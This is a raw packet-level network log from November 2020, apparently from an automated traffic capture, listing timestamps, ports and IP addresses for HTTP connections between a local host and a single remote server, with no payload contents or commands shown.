Nov 25, 2020 19:07:09.996512890 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996556044 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996558905 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996603966 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.996609926 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.996711969 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997003078 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997050047 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997224092 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997262955 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997267008 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997303009 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997327089 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997342110 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997353077 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997380018 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997400999 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997443914 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997467041 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997505903 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997507095 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997555971 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997585058 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997601032 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997653961 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997697115 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997714996 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997757912 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997761965 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997782946 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997801065 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997816086 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997833014 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997849941 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:09.997867107 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:09.997899055 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:10.070240021 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:10.358288050 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:10.359853029 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:10.464745998 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:10.630757093 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:10.630812883 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:10.630866051 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:10.630901098 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:10.630934000 CET	80	49766	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:10.631032944 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:10.631093025 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:11.046921015 CET	49765	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:11.047041893 CET	49766	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:11.996453047 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:11.997313023 CET	49768	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.168390989 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.168561935 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.171273947 CET	80	49768	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.171435118 CET	49768	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.174215078 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.345593929 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.362579107 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.362612963 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.362636089 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.362667084 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.362689018 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.362711906 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.362716913 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.362734079 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.362759113 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.362765074 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.362783909 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.362807989 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.362859011 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.362920046 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.534471035 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.534570932 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.534611940 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.534657001 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.534696102 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.534703016 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.534745932 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.534754992 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.534775972 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.534801960 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.534836054 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.534872055 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.534876108 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.534894943 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.534914017 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.534933090 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.534960985 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.534976959 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.535016060 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.535032988 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.535079956 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.535095930 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.535141945 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.535144091 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.535178900 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.535197020 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.535223961 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.535238981 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.535280943 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.535294056 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.535336018 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.535351992 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.535373926 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.535388947 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.535413980 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.535422087 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.535468102 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.535495043 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.535553932 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.708565950 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.708642006 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.708678961 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.708717108 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.708745003 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.708822012 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.708853960 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.708853960 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.708893061 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.708894014 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.708930016 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.708992004 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709001064 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709038019 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709058046 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709083080 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709111929 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709139109 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709140062 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709180117 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709196091 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709208012 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709240913 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709287882 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709316969 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709362030 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709368944 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709450006 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709456921 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709520102 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709549904 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709564924 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709604979 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709623098 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709640026 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709675074 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709681034 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709712029 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709745884 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709763050 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709780931 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709835052 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709842920 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709878922 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709892035 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709907055 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.709974051 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.709976912 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.710022926 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.710062981 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.710081100 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.710138083 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.710141897 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.710180998 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.710186958 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.710223913 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.710247993 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.710268021 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.710289001 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.710319996 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.710335970 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.710443974 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.883876085 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.883932114 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.883970976 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.883996010 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884017944 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884025097 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884028912 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884061098 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884066105 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884100914 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884104967 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884140015 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884145021 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884185076 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884203911 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884226084 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884232044 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884259939 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884278059 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884305000 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884306908 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884331942 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884357929 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884375095 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884406090 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884418011 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884453058 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884476900 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884500027 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884516001 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884553909 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884613037 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884618998 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884666920 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884677887 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884728909 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884731054 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884769917 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884774923 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884809017 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884814978 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884846926 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884857893 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884895086 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884902954 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884938002 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884941101 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.884977102 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.884999990 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885020018 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885025978 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885068893 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885072947 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885107040 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885123968 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885147095 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885163069 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885185957 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885198116 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885236025 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885237932 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885282993 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885284901 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885320902 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885349989 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885360956 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885395050 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885432005 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885479927 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885494947 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885521889 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885561943 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885591984 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885622978 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885683060 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885721922 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885760069 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885798931 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885847092 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885863066 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.885891914 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885932922 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.885972977 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886013031 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886049986 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886065960 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886089087 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886118889 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886126041 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886168003 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886174917 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886218071 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886254072 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886257887 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886301041 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886356115 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886359930 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886406898 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886424065 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886476994 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886522055 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886532068 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886549950 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886585951 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886636972 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886658907 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886688948 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886740923 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886748075 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886781931 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886805058 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886857033 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886857986 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886902094 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886909962 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886945009 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.886964083 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.886997938 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887016058 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.887048960 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887068033 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.887101889 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887121916 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.887162924 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887187004 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.887193918 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887269974 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887315035 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.887392998 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.887429953 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887447119 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.887454987 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887495995 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.887516975 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887552023 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.887557983 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887607098 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.887623072 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887661934 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:12.887662888 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:12.887727022 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059349060 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059376001 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059393883 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059413910 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059433937 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059453011 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059479952 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059499979 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059501886 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059519053 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059540987 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059561014 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059566021 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059580088 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059597969 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059607983 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059617996 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059636116 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059642076 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059654951 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059674025 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059690952 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059695959 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059716940 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059727907 CET	49767	80	192.168.2.7	162.0.213.230
Nov 25, 2020 19:07:13.059736967 CET	80	49767	162.0.213.230	192.168.2.7
Nov 25, 2020 19:07:13.059755087 CET	80	49767	162.0.213.230	192.168.2.7
